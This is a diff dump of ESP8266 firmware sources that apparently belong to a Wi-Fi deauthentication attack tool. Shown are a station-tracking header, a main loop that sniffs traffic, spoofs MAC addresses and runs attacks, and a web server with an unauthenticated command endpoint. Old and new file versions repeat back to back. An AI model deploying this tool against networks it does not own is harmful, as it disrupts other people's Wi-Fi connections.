#include "language.h"
|
||||
#include "SimpleList.h"
|
||||
#include "Accesspoints.h"
|
||||
#include "Names.h"
|
||||
|
||||
#define STATION_LIST_SIZE 60
|
||||
extern Accesspoints accesspoints;
|
||||
extern Names names;
|
||||
extern uint8_t wifi_channel;
|
||||
extern uint32_t currentTime;
|
||||
|
||||
extern String searchVendor(uint8_t* mac);
|
||||
extern bool macMulticast(uint8_t* mac);
|
||||
extern bool macValid(uint8_t* mac);
|
||||
extern bool macBroadcast(uint8_t* mac);
|
||||
extern String bytesToStr(uint8_t* b, uint32_t size);
|
||||
|
||||
class Stations {
|
||||
public:
|
||||
Stations();
|
||||
|
||||
void sort();
|
||||
void sortAfterChannel();
|
||||
|
||||
void select(int num);
|
||||
void deselect(int num);
|
||||
void remove(int num);
|
||||
|
||||
void select(String ssid);
|
||||
void deselect(String ssid);
|
||||
void remove(String ssid);
|
||||
|
||||
void add(uint8_t* mac, int accesspointNum);
|
||||
|
||||
void selectAll();
|
||||
void deselectAll();
|
||||
void removeAll();
|
||||
void removeOldest();
|
||||
|
||||
String getNameStr(int num);
|
||||
String getAPStr(int num);
|
||||
String getMacStr(int num);
|
||||
String getMacVendorStr(int num);
|
||||
String getVendorStr(int num);
|
||||
String getTimeStr(int num);
|
||||
String getSelectedStr(int num);
|
||||
uint8_t* getAPMac(int num);
|
||||
String getAPMacStr(int num);
|
||||
uint8_t* getMac(int num);
|
||||
uint32_t* getPkts(int num);
|
||||
uint32_t* getTime(int num);
|
||||
uint8_t getCh(int num);
|
||||
int getAP(int num);
|
||||
bool getSelected(int num);
|
||||
bool hasName(int num);
|
||||
|
||||
void print(int num);
|
||||
void print(int num, bool header, bool footer);
|
||||
void printAll();
|
||||
void printSelected();
|
||||
|
||||
int count();
|
||||
int selected();
|
||||
|
||||
bool check(int num);
|
||||
bool changed = false;
|
||||
|
||||
private:
|
||||
struct Station {
|
||||
uint8_t ap;
|
||||
uint8_t ch;
|
||||
uint8_t * mac;
|
||||
uint32_t* pkts;
|
||||
uint32_t* time;
|
||||
bool selected;
|
||||
};
|
||||
|
||||
SimpleList<Station>* list;
|
||||
|
||||
int findStation(uint8_t* mac);
|
||||
int findAccesspoint(uint8_t* mac);
|
||||
|
||||
bool internal_check(int num);
|
||||
void internal_select(int num);
|
||||
void internal_deselect(int num);
|
||||
void internal_add(uint8_t* mac, int accesspointNum);
|
||||
void internal_remove(int num);
|
||||
void internal_removeAll();
|
||||
};
|
||||
|
||||
#endif // ifndef Stations_h
|
||||
@@ -1,167 +1,167 @@
|
||||
/*
|
||||
===========================================
|
||||
Copyright (c) 2018 Stefan Kremser
|
||||
github.com/spacehuhn
|
||||
===========================================
|
||||
*/
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include <EEPROM.h>
|
||||
#include "oui.h"
|
||||
#include "language.h"
|
||||
#include "functions.h"
|
||||
#include "Settings.h"
|
||||
#include "Names.h"
|
||||
#include "SSIDs.h"
|
||||
#include "Scan.h"
|
||||
#include "Attack.h"
|
||||
#include "CLI.h"
|
||||
#include "DisplayUI.h"
|
||||
#include "A_config.h"
|
||||
#include "webfiles.h"
|
||||
|
||||
#include "LED.h"
|
||||
|
||||
// Run-Time Variables //
|
||||
LED led;
|
||||
Settings settings;
|
||||
Names names;
|
||||
SSIDs ssids;
|
||||
Accesspoints accesspoints;
|
||||
Stations stations;
|
||||
Scan scan;
|
||||
Attack attack;
|
||||
CLI cli;
|
||||
DisplayUI displayUI;
|
||||
|
||||
#include "wifi.h"
|
||||
|
||||
uint32_t autosaveTime = 0;
|
||||
uint32_t currentTime = 0;
|
||||
|
||||
bool booted = false;
|
||||
|
||||
void setup() {
|
||||
// for random generator
|
||||
randomSeed(os_random());
|
||||
|
||||
// start serial
|
||||
Serial.begin(115200);
|
||||
Serial.println();
|
||||
|
||||
// start SPIFFS
|
||||
prnt(SETUP_MOUNT_SPIFFS);
|
||||
prntln(SPIFFS.begin() ? SETUP_OK : SETUP_ERROR);
|
||||
|
||||
// Start EEPROM
|
||||
EEPROM.begin(4096);
|
||||
|
||||
// auto repair when in boot-loop
|
||||
uint8_t bootCounter = EEPROM.read(0);
|
||||
|
||||
if (bootCounter >= 3) {
|
||||
prnt(SETUP_FORMAT_SPIFFS);
|
||||
SPIFFS.format();
|
||||
prntln(SETUP_OK);
|
||||
} else {
|
||||
EEPROM.write(0, bootCounter + 1); // add 1 to the boot counter
|
||||
EEPROM.commit();
|
||||
}
|
||||
|
||||
// get time
|
||||
currentTime = millis();
|
||||
|
||||
// load settings
|
||||
settings.load();
|
||||
|
||||
// set mac for access point
|
||||
wifi_set_macaddr(SOFTAP_IF, settings.getMacAP());
|
||||
|
||||
// start WiFi
|
||||
WiFi.mode(WIFI_OFF);
|
||||
wifi_set_opmode(STATION_MODE);
|
||||
wifi_set_promiscuous_rx_cb([](uint8_t* buf, uint16_t len) {
|
||||
scan.sniffer(buf, len);
|
||||
});
|
||||
|
||||
// set mac for station
|
||||
wifi_set_macaddr(STATION_IF, settings.getMacSt());
|
||||
|
||||
// start display
|
||||
if (settings.getDisplayInterface()) {
|
||||
displayUI.setup();
|
||||
displayUI.mode = displayUI.DISPLAY_MODE::INTRO;
|
||||
}
|
||||
|
||||
// copy web files to SPIFFS
|
||||
copyWebFiles(false);
|
||||
|
||||
// load everything else
|
||||
names.load();
|
||||
ssids.load();
|
||||
cli.load();
|
||||
|
||||
// create scan.json
|
||||
scan.setup();
|
||||
|
||||
// set channel
|
||||
setWifiChannel(settings.getChannel());
|
||||
|
||||
// load Wifi settings: SSID, password,...
|
||||
#ifdef DEFAULT_SSID
|
||||
if(settings.getSSID() == "pwned") settings.setSSID(DEFAULT_SSID);
|
||||
#endif
|
||||
loadWifiConfigDefaults();
|
||||
|
||||
// dis/enable serial command interface
|
||||
if (settings.getCLI()) {
|
||||
cli.enable();
|
||||
} else {
|
||||
prntln(SETUP_SERIAL_WARNING);
|
||||
Serial.flush();
|
||||
Serial.end();
|
||||
}
|
||||
|
||||
// start access point/web interface
|
||||
if (settings.getWebInterface()) startAP();
|
||||
|
||||
// STARTED
|
||||
prntln(SETUP_STARTED);
|
||||
|
||||
// version
|
||||
prntln(settings.getVersion());
|
||||
|
||||
// setup LED
|
||||
led.setup();
|
||||
}
|
||||
|
||||
void loop() {
|
||||
currentTime = millis();
|
||||
|
||||
led.update(); // update LED color
|
||||
wifiUpdate(); // manage access point
|
||||
attack.update(); // run attacks
|
||||
displayUI.update();
|
||||
cli.update(); // read and run serial input
|
||||
scan.update(); // run scan
|
||||
ssids.update(); // run random mode, if enabled
|
||||
|
||||
// auto-save
|
||||
if (settings.getAutosave() && (currentTime - autosaveTime > settings.getAutosaveTime())) {
|
||||
autosaveTime = currentTime;
|
||||
names.save(false);
|
||||
ssids.save(false);
|
||||
settings.save(false);
|
||||
}
|
||||
|
||||
if (!booted) {
|
||||
// reset boot counter
|
||||
EEPROM.write(0, 0);
|
||||
EEPROM.commit();
|
||||
booted = true;
|
||||
#ifdef HIGHLIGHT_LED
|
||||
displayUI.setupLED();
|
||||
#endif
|
||||
}
|
||||
}
|
||||
/*
|
||||
===========================================
|
||||
Copyright (c) 2018 Stefan Kremser
|
||||
github.com/spacehuhn
|
||||
===========================================
|
||||
*/
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include <EEPROM.h>
|
||||
#include "oui.h"
|
||||
#include "language.h"
|
||||
#include "functions.h"
|
||||
#include "Settings.h"
|
||||
#include "Names.h"
|
||||
#include "SSIDs.h"
|
||||
#include "Scan.h"
|
||||
#include "Attack.h"
|
||||
#include "CLI.h"
|
||||
#include "DisplayUI.h"
|
||||
#include "A_config.h"
|
||||
#include "webfiles.h"
|
||||
|
||||
#include "LED.h"
|
||||
|
||||
// Run-Time Variables //
|
||||
LED led;
|
||||
Settings settings;
|
||||
Names names;
|
||||
SSIDs ssids;
|
||||
Accesspoints accesspoints;
|
||||
Stations stations;
|
||||
Scan scan;
|
||||
Attack attack;
|
||||
CLI cli;
|
||||
DisplayUI displayUI;
|
||||
|
||||
#include "wifi.h"
|
||||
|
||||
uint32_t autosaveTime = 0;
|
||||
uint32_t currentTime = 0;
|
||||
|
||||
bool booted = false;
|
||||
|
||||
void setup() {
|
||||
// for random generator
|
||||
randomSeed(os_random());
|
||||
|
||||
// start serial
|
||||
Serial.begin(115200);
|
||||
Serial.println();
|
||||
|
||||
// start SPIFFS
|
||||
prnt(SETUP_MOUNT_SPIFFS);
|
||||
prntln(SPIFFS.begin() ? SETUP_OK : SETUP_ERROR);
|
||||
|
||||
// Start EEPROM
|
||||
EEPROM.begin(4096);
|
||||
|
||||
// auto repair when in boot-loop
|
||||
uint8_t bootCounter = EEPROM.read(0);
|
||||
|
||||
if (bootCounter >= 3) {
|
||||
prnt(SETUP_FORMAT_SPIFFS);
|
||||
SPIFFS.format();
|
||||
prntln(SETUP_OK);
|
||||
} else {
|
||||
EEPROM.write(0, bootCounter + 1); // add 1 to the boot counter
|
||||
EEPROM.commit();
|
||||
}
|
||||
|
||||
// get time
|
||||
currentTime = millis();
|
||||
|
||||
// load settings
|
||||
settings.load();
|
||||
|
||||
// set mac for access point
|
||||
wifi_set_macaddr(SOFTAP_IF, settings.getMacAP());
|
||||
|
||||
// start WiFi
|
||||
WiFi.mode(WIFI_OFF);
|
||||
wifi_set_opmode(STATION_MODE);
|
||||
wifi_set_promiscuous_rx_cb([](uint8_t* buf, uint16_t len) {
|
||||
scan.sniffer(buf, len);
|
||||
});
|
||||
|
||||
// set mac for station
|
||||
wifi_set_macaddr(STATION_IF, settings.getMacSt());
|
||||
|
||||
// start display
|
||||
if (settings.getDisplayInterface()) {
|
||||
displayUI.setup();
|
||||
displayUI.mode = displayUI.DISPLAY_MODE::INTRO;
|
||||
}
|
||||
|
||||
// copy web files to SPIFFS
|
||||
copyWebFiles(false);
|
||||
|
||||
// load everything else
|
||||
names.load();
|
||||
ssids.load();
|
||||
cli.load();
|
||||
|
||||
// create scan.json
|
||||
scan.setup();
|
||||
|
||||
// set channel
|
||||
setWifiChannel(settings.getChannel());
|
||||
|
||||
// load Wifi settings: SSID, password,...
|
||||
#ifdef DEFAULT_SSID
|
||||
if (settings.getSSID() == "pwned") settings.setSSID(DEFAULT_SSID);
|
||||
#endif // ifdef DEFAULT_SSID
|
||||
loadWifiConfigDefaults();
|
||||
|
||||
// dis/enable serial command interface
|
||||
if (settings.getCLI()) {
|
||||
cli.enable();
|
||||
} else {
|
||||
prntln(SETUP_SERIAL_WARNING);
|
||||
Serial.flush();
|
||||
Serial.end();
|
||||
}
|
||||
|
||||
// start access point/web interface
|
||||
if (settings.getWebInterface()) startAP();
|
||||
|
||||
// STARTED
|
||||
prntln(SETUP_STARTED);
|
||||
|
||||
// version
|
||||
prntln(settings.getVersion());
|
||||
|
||||
// setup LED
|
||||
led.setup();
|
||||
}
|
||||
|
||||
void loop() {
|
||||
currentTime = millis();
|
||||
|
||||
led.update(); // update LED color
|
||||
wifiUpdate(); // manage access point
|
||||
attack.update(); // run attacks
|
||||
displayUI.update();
|
||||
cli.update(); // read and run serial input
|
||||
scan.update(); // run scan
|
||||
ssids.update(); // run random mode, if enabled
|
||||
|
||||
// auto-save
|
||||
if (settings.getAutosave() && (currentTime - autosaveTime > settings.getAutosaveTime())) {
|
||||
autosaveTime = currentTime;
|
||||
names.save(false);
|
||||
ssids.save(false);
|
||||
settings.save(false);
|
||||
}
|
||||
|
||||
if (!booted) {
|
||||
// reset boot counter
|
||||
EEPROM.write(0, 0);
|
||||
EEPROM.commit();
|
||||
booted = true;
|
||||
#ifdef HIGHLIGHT_LED
|
||||
displayUI.setupLED();
|
||||
#endif // ifdef HIGHLIGHT_LED
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because one or more lines are too long
@@ -1,402 +1,402 @@
|
||||
#ifndef WifiManager_h
|
||||
#define WifiManager_h
|
||||
|
||||
#include "Arduino.h"
|
||||
#include <ESP8266WiFi.h>
|
||||
#include <WiFiClient.h>
|
||||
#include <ESP8266WebServer.h>
|
||||
#include <DNSServer.h>
|
||||
#include <ESP8266mDNS.h>
|
||||
#include <FS.h>
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
|
||||
#define WIFI_MODE_OFF 0
|
||||
#define WIFI_MODE_AP 1
|
||||
#define WIFI_MODE_STATION 2
|
||||
|
||||
/*
|
||||
This file contains all necessary functions for hosting and connecting to an access point.
|
||||
For compatibility and simplicity, all those functions are global.
|
||||
*/
|
||||
|
||||
// Important strings
|
||||
const char W_DEAUTHER[] PROGMEM = "deauth.me"; // captive portal domain (alternative to 192.168.4.1)
|
||||
const char W_WEBINTERFACE[] PROGMEM = "/web"; // default folder containing the web files
|
||||
const char W_ERROR_PASSWORD[] PROGMEM = "ERROR: Password must have at least 8 characters!";
|
||||
const char W_DEFAULT_LANG[] PROGMEM = "/lang/default.lang";
|
||||
|
||||
const char W_HTML[] PROGMEM = "text/html";
|
||||
const char W_CSS[] PROGMEM = "text/css";
|
||||
const char W_JS[] PROGMEM = "application/javascript";
|
||||
const char W_PNG[] PROGMEM = "image/png";
|
||||
const char W_GIF[] PROGMEM = "image/gif";
|
||||
const char W_JPG[] PROGMEM = "image/jpeg";
|
||||
const char W_ICON[] PROGMEM = "image/x-icon";
|
||||
const char W_XML[] PROGMEM = "text/xml";
|
||||
const char W_XPDF[] PROGMEM = "application/x-pdf";
|
||||
const char W_XZIP[] PROGMEM = "application/x-zip";
|
||||
const char W_GZIP[] PROGMEM = "application/x-gzip";
|
||||
const char W_JSON[] PROGMEM = "application/json";
|
||||
const char W_TXT[] PROGMEM = "text/plain";
|
||||
|
||||
const char W_DOT_HTM[] PROGMEM = ".htm";
|
||||
const char W_DOT_HTML[] PROGMEM = ".html";
|
||||
const char W_DOT_CSS[] PROGMEM = ".css";
|
||||
const char W_DOT_JS[] PROGMEM = ".js";
|
||||
const char W_DOT_PNG[] PROGMEM = ".png";
|
||||
const char W_DOT_GIF[] PROGMEM = ".gif";
|
||||
const char W_DOT_JPG[] PROGMEM = ".jpg";
|
||||
const char W_DOT_ICON[] PROGMEM = ".ico";
|
||||
const char W_DOT_XML[] PROGMEM = ".xml";
|
||||
const char W_DOT_PDF[] PROGMEM = ".pdf";
|
||||
const char W_DOT_ZIP[] PROGMEM = ".zip";
|
||||
const char W_DOT_GZIP[] PROGMEM = ".gz";
|
||||
const char W_DOT_JSON[] PROGMEM = ".json";
|
||||
|
||||
// Server and other global objects
|
||||
ESP8266WebServer server(80);
|
||||
DNSServer dnsServer;
|
||||
IPAddress apIP(192, 168, 4, 1);
|
||||
IPAddress netMsk(255, 255, 255, 0);
|
||||
File fsUploadFile;
|
||||
|
||||
// current WiFi mode and config
|
||||
uint8_t wifiMode = WIFI_MODE_OFF;
|
||||
|
||||
bool wifi_config_hidden = false;
|
||||
bool wifi_config_captivePortal = false;
|
||||
String wifi_config_ssid;
|
||||
String wifi_config_password;
|
||||
String wifi_config_path;
|
||||
|
||||
void stopAP() {
|
||||
if (wifiMode == WIFI_MODE_AP) {
|
||||
wifi_promiscuous_enable(0);
|
||||
WiFi.persistent(false);
|
||||
WiFi.disconnect(true);
|
||||
wifi_set_opmode(STATION_MODE);
|
||||
prntln(W_STOPPED_AP);
|
||||
wifiMode = WIFI_MODE_STATION;
|
||||
}
|
||||
}
|
||||
|
||||
void wifiUpdate() {
|
||||
if ((wifiMode != WIFI_MODE_OFF) && !scan.isScanning()) {
|
||||
server.handleClient();
|
||||
dnsServer.processNextRequest();
|
||||
}
|
||||
}
|
||||
|
||||
String getWifiMode() {
|
||||
switch (wifiMode) {
|
||||
case WIFI_MODE_OFF:
|
||||
return W_MODE_OFF;
|
||||
|
||||
break;
|
||||
|
||||
case WIFI_MODE_AP:
|
||||
return W_MODE_AP;
|
||||
|
||||
break;
|
||||
|
||||
case WIFI_MODE_STATION:
|
||||
return W_MODE_ST;
|
||||
|
||||
break;
|
||||
|
||||
default:
|
||||
return String();
|
||||
}
|
||||
}
|
||||
|
||||
String getContentType(String filename) {
|
||||
if (server.hasArg("download")) return String(F("application/octet-stream"));
|
||||
else if (filename.endsWith(str(W_DOT_GZIP))) filename = filename.substring(0, filename.length() - 3);
|
||||
else if (filename.endsWith(str(W_DOT_HTM))) return str(W_HTML);
|
||||
else if (filename.endsWith(str(W_DOT_HTML))) return str(W_HTML);
|
||||
else if (filename.endsWith(str(W_DOT_CSS))) return str(W_CSS);
|
||||
else if (filename.endsWith(str(W_DOT_JS))) return str(W_JS);
|
||||
else if (filename.endsWith(str(W_DOT_PNG))) return str(W_PNG);
|
||||
else if (filename.endsWith(str(W_DOT_GIF))) return str(W_GIF);
|
||||
else if (filename.endsWith(str(W_DOT_JPG))) return str(W_JPG);
|
||||
else if (filename.endsWith(str(W_DOT_ICON))) return str(W_ICON);
|
||||
else if (filename.endsWith(str(W_DOT_XML))) return str(W_XML);
|
||||
else if (filename.endsWith(str(W_DOT_PDF))) return str(W_XPDF);
|
||||
else if (filename.endsWith(str(W_DOT_ZIP))) return str(W_XZIP);
|
||||
else if (filename.endsWith(str(W_DOT_JSON))) return str(W_JSON);
|
||||
else return str(W_TXT);
|
||||
}
|
||||
|
||||
bool handleFileRead(String path) {
|
||||
prnt(W_AP_REQUEST);
|
||||
prnt(path);
|
||||
|
||||
if (!path.charAt(0) == SLASH) path = String(SLASH) + path;
|
||||
|
||||
if (path.charAt(path.length() - 1) == SLASH) path += String(F("index.html"));
|
||||
|
||||
String contentType = getContentType(path);
|
||||
|
||||
if (!SPIFFS.exists(path)) {
|
||||
if (SPIFFS.exists(path + str(W_DOT_GZIP))) path += str(W_DOT_GZIP);
|
||||
else if (SPIFFS.exists(wifi_config_path + path)) path = wifi_config_path + path;
|
||||
else if (SPIFFS.exists(wifi_config_path + path + str(W_DOT_GZIP))) path = wifi_config_path + path + str(
|
||||
W_DOT_GZIP);
|
||||
else {
|
||||
// prntln(W_NOT_FOUND);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
File file = SPIFFS.open(path, "r");
|
||||
server.streamFile(file, contentType);
|
||||
file.close();
|
||||
prnt(SPACE);
|
||||
prntln(W_OK);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void handleFileList() {
|
||||
if (!server.hasArg("dir")) {
|
||||
server.send(500, str(W_TXT), str(W_BAD_ARGS));
|
||||
return;
|
||||
}
|
||||
|
||||
String path = server.arg("dir");
|
||||
// Serial.println("handleFileList: " + path);
|
||||
Dir dir = SPIFFS.openDir(path);
|
||||
|
||||
String output = String(OPEN_BRACKET); // {
|
||||
File entry;
|
||||
bool first = true;
|
||||
|
||||
while (dir.next()) {
|
||||
entry = dir.openFile("r");
|
||||
|
||||
if (first) first = false;
|
||||
else output += COMMA; // ,
|
||||
|
||||
output += OPEN_BRACKET; // [
|
||||
output += String(DOUBLEQUOTES) + entry.name() + String(DOUBLEQUOTES); // "filename"
|
||||
output += CLOSE_BRACKET; // ]
|
||||
|
||||
entry.close();
|
||||
}
|
||||
|
||||
output += CLOSE_BRACKET;
|
||||
server.send(200, str(W_JSON).c_str(), output);
|
||||
}
|
||||
|
||||
void sendProgmem(const char* ptr, size_t size, const char* type) {
|
||||
server.sendHeader("Content-Encoding", "gzip");
|
||||
server.sendHeader("Cache-Control", "max-age=86400");
|
||||
server.send_P(200, str(type).c_str(), ptr, size);
|
||||
}
|
||||
|
||||
// path = folder of web files, ssid = name of network, password = password ("0" => no password), hidden = if the network
|
||||
// is visible, captivePortal = enable a captive portal
|
||||
void startAP(String path, String ssid, String password, uint8_t ch, bool hidden, bool captivePortal) {
|
||||
if (password.length() < 8) {
|
||||
prntln(W_ERROR_PASSWORD);
|
||||
return;
|
||||
}
|
||||
|
||||
if (!path.charAt(0) == SLASH) path = String(SLASH) + path;
|
||||
|
||||
if (password == String(ZERO)) password = String(NEWLINE);
|
||||
|
||||
wifi_config_path = path;
|
||||
wifi_config_ssid = ssid;
|
||||
wifi_config_password = password;
|
||||
setWifiChannel(ch);
|
||||
wifi_config_hidden = hidden;
|
||||
wifi_config_captivePortal = captivePortal;
|
||||
|
||||
WiFi.softAPConfig(apIP, apIP, netMsk);
|
||||
WiFi.softAP(ssid.c_str(), password.c_str(), wifi_channel, hidden);
|
||||
|
||||
dnsServer.setErrorReplyCode(DNSReplyCode::NoError);
|
||||
dnsServer.start(53, String(ASTERIX), apIP);
|
||||
|
||||
MDNS.begin(str(W_DEAUTHER).c_str());
|
||||
|
||||
server.on(String(F("/list")).c_str(), HTTP_GET, handleFileList); // list directory
|
||||
|
||||
|
||||
// ================================================================
|
||||
// post here the output of the webConverter.py
|
||||
|
||||
if (!settings.getWebSpiffs()) {
|
||||
server.on(String(SLASH).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(indexhtml, sizeof(indexhtml), W_HTML);
|
||||
});
|
||||
server.on(String(F("/attack.html")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(attackhtml, sizeof(attackhtml), W_HTML);
|
||||
});
|
||||
server.on(String(F("/index.html")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(indexhtml, sizeof(indexhtml), W_HTML);
|
||||
});
|
||||
server.on(String(F("/info.html")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(infohtml, sizeof(infohtml), W_HTML);
|
||||
});
|
||||
server.on(String(F("/scan.html")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(scanhtml, sizeof(scanhtml), W_HTML);
|
||||
});
|
||||
server.on(String(F("/settings.html")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(settingshtml, sizeof(settingshtml), W_HTML);
|
||||
});
|
||||
server.on(String(F("/ssids.html")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(ssidshtml, sizeof(ssidshtml), W_HTML);
|
||||
});
|
||||
server.on(String(F("/style.css")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(stylecss, sizeof(stylecss), W_CSS);
|
||||
});
|
||||
server.on(String(F("/js/attack.js")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(attackjs, sizeof(attackjs), W_JS);
|
||||
});
|
||||
server.on(String(F("/js/scan.js")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(scanjs, sizeof(scanjs), W_JS);
|
||||
});
|
||||
server.on(String(F("/js/settings.js")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(settingsjs, sizeof(settingsjs), W_JS);
|
||||
});
|
||||
server.on(String(F("/js/site.js")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(sitejs, sizeof(sitejs), W_JS);
|
||||
});
|
||||
server.on(String(F("/js/ssids.js")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(ssidsjs, sizeof(ssidsjs), W_JS);
|
||||
});
|
||||
server.on(String(F("/lang/cn.lang")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(cnlang, sizeof(cnlang), W_JSON);
|
||||
});
|
||||
server.on(String(F("/lang/cs.lang")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(cslang, sizeof(cslang), W_JSON);
|
||||
});
|
||||
server.on(String(F("/lang/de.lang")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(delang, sizeof(delang), W_JSON);
|
||||
});
|
||||
server.on(String(F("/lang/en.lang")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(enlang, sizeof(enlang), W_JSON);
|
||||
});
|
||||
server.on(String(F("/lang/fr.lang")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(frlang, sizeof(frlang), W_JSON);
|
||||
});
|
||||
server.on(String(F("/lang/it.lang")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(itlang, sizeof(itlang), W_JSON);
|
||||
});
|
||||
server.on(String(F("/lang/ru.lang")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(rulang, sizeof(rulang), W_JSON);
|
||||
});
|
||||
server.on(String(F("/lang/tlh.lang")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(tlhlang, sizeof(tlhlang), W_JSON);
|
||||
});
|
||||
}
|
||||
server.on(str(W_DEFAULT_LANG).c_str(), HTTP_GET, []() {
|
||||
if (!settings.getWebSpiffs()) {
|
||||
if (settings.getLang() == String(F("cn"))) sendProgmem(cnlang, sizeof(cnlang), W_JSON);
|
||||
else if (settings.getLang() == String(F("cs"))) sendProgmem(cslang, sizeof(cslang), W_JSON);
|
||||
else if (settings.getLang() == String(F("de"))) sendProgmem(delang, sizeof(delang), W_JSON);
|
||||
else if (settings.getLang() == String(F("en"))) sendProgmem(enlang, sizeof(enlang), W_JSON);
|
||||
else if (settings.getLang() == String(F("fr"))) sendProgmem(frlang, sizeof(frlang), W_JSON);
|
||||
else if (settings.getLang() == String(F("it"))) sendProgmem(itlang, sizeof(itlang), W_JSON);
|
||||
else if (settings.getLang() == String(F("ru"))) sendProgmem(rulang, sizeof(rulang), W_JSON);
|
||||
else if (settings.getLang() == String(F("tlh"))) sendProgmem(tlhlang, sizeof(tlhlang), W_JSON);
|
||||
|
||||
else handleFileRead(String(F("/web/lang/")) + settings.getLang() + String(F(".lang")));
|
||||
} else {
|
||||
handleFileRead(String(F("/web/lang/")) + settings.getLang() + String(F(".lang")));
|
||||
}
|
||||
});
|
||||
|
||||
// ================================================================
|
||||
|
||||
server.on(String(F("/run")).c_str(), HTTP_GET, []() {
|
||||
server.send(200, str(W_TXT), str(W_OK).c_str());
|
||||
String input = server.arg("cmd");
|
||||
cli.exec(input);
|
||||
});
|
||||
|
||||
server.on(String(F("/attack.json")).c_str(), HTTP_GET, []() {
|
||||
server.send(200, str(W_JSON), attack.getStatusJSON());
|
||||
});
|
||||
|
||||
// aggressively caching static assets
|
||||
server.serveStatic("/js", SPIFFS, String(wifi_config_path + "/js").c_str(), "max-age=86400");
|
||||
|
||||
// called when the url is not defined here
|
||||
// use it to load content from SPIFFS
|
||||
server.onNotFound([]() {
|
||||
if (!handleFileRead(server.uri())) {
|
||||
server.send(404, str(W_TXT), str(W_FILE_NOT_FOUND));
|
||||
}
|
||||
});
|
||||
|
||||
server.begin();
|
||||
wifiMode = WIFI_MODE_AP;
|
||||
|
||||
prntln(W_STARTED_AP);
|
||||
printWifiStatus();
|
||||
}
|
||||
|
||||
void printWifiStatus() {
|
||||
prnt(String(F("[WiFi] Path: '")));
|
||||
prnt(wifi_config_path);
|
||||
prnt(String(F("', Mode: '")));
|
||||
|
||||
switch (wifiMode) {
|
||||
case WIFI_MODE_OFF:
|
||||
prnt(W_MODE_OFF);
|
||||
break;
|
||||
|
||||
case WIFI_MODE_AP:
|
||||
prnt(W_AP);
|
||||
break;
|
||||
|
||||
case WIFI_MODE_STATION:
|
||||
prnt(W_STATION);
|
||||
break;
|
||||
}
|
||||
prnt(String(F("', SSID: '")));
|
||||
prnt(wifi_config_ssid);
|
||||
prnt(String(F("', password: '")));
|
||||
prnt(wifi_config_password);
|
||||
prnt(String(F("', channel: '")));
|
||||
prnt(wifi_channel);
|
||||
prnt(String(F("', hidden: ")));
|
||||
prnt(b2s(wifi_config_hidden));
|
||||
prnt(String(F(", captive-portal: ")));
|
||||
prntln(b2s(wifi_config_captivePortal));
|
||||
}
|
||||
|
||||
void startAP() {
|
||||
startAP(wifi_config_path.c_str(), wifi_config_ssid.c_str(),
|
||||
wifi_config_password.c_str(), wifi_channel, wifi_config_hidden, wifi_config_captivePortal);
|
||||
}
|
||||
|
||||
void startAP(String path) {
|
||||
wifi_config_path = path;
|
||||
startAP();
|
||||
}
|
||||
|
||||
void loadWifiConfigDefaults() {
|
||||
wifi_config_hidden = settings.getHidden();
|
||||
wifi_config_ssid = settings.getSSID();
|
||||
wifi_config_password = settings.getPassword();
|
||||
wifi_config_captivePortal = settings.getCaptivePortal();
|
||||
wifi_config_path = str(W_WEBINTERFACE);
|
||||
}
|
||||
|
||||
void resumeAP() {
|
||||
if (wifiMode != WIFI_MODE_AP) {
|
||||
wifiMode = WIFI_MODE_AP;
|
||||
wifi_promiscuous_enable(0);
|
||||
WiFi.softAPConfig(apIP, apIP, netMsk);
|
||||
WiFi.softAP(wifi_config_ssid.c_str(), wifi_config_password.c_str(), wifi_channel, wifi_config_hidden);
|
||||
prntln(W_STARTED_AP);
|
||||
}
|
||||
}
|
||||
|
||||
#endif // ifndef WifiManager_h
|
||||
#ifndef WifiManager_h
|
||||
#define WifiManager_h
|
||||
|
||||
#include "Arduino.h"
|
||||
#include <ESP8266WiFi.h>
|
||||
#include <WiFiClient.h>
|
||||
#include <ESP8266WebServer.h>
|
||||
#include <DNSServer.h>
|
||||
#include <ESP8266mDNS.h>
|
||||
#include <FS.h>
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
|
||||
#define WIFI_MODE_OFF 0
|
||||
#define WIFI_MODE_AP 1
|
||||
#define WIFI_MODE_STATION 2
|
||||
|
||||
/*
|
||||
This file contains all necessary functions for hosting and connecting to an access point.
|
||||
For compatibility and simplicity, all those functions are global.
|
||||
*/
|
||||
|
||||
// Important strings
|
||||
const char W_DEAUTHER[] PROGMEM = "deauth.me"; // captive portal domain (alternative to 192.168.4.1)
|
||||
const char W_WEBINTERFACE[] PROGMEM = "/web"; // default folder containing the web files
|
||||
const char W_ERROR_PASSWORD[] PROGMEM = "ERROR: Password must have at least 8 characters!";
|
||||
const char W_DEFAULT_LANG[] PROGMEM = "/lang/default.lang";
|
||||
|
||||
const char W_HTML[] PROGMEM = "text/html";
|
||||
const char W_CSS[] PROGMEM = "text/css";
|
||||
const char W_JS[] PROGMEM = "application/javascript";
|
||||
const char W_PNG[] PROGMEM = "image/png";
|
||||
const char W_GIF[] PROGMEM = "image/gif";
|
||||
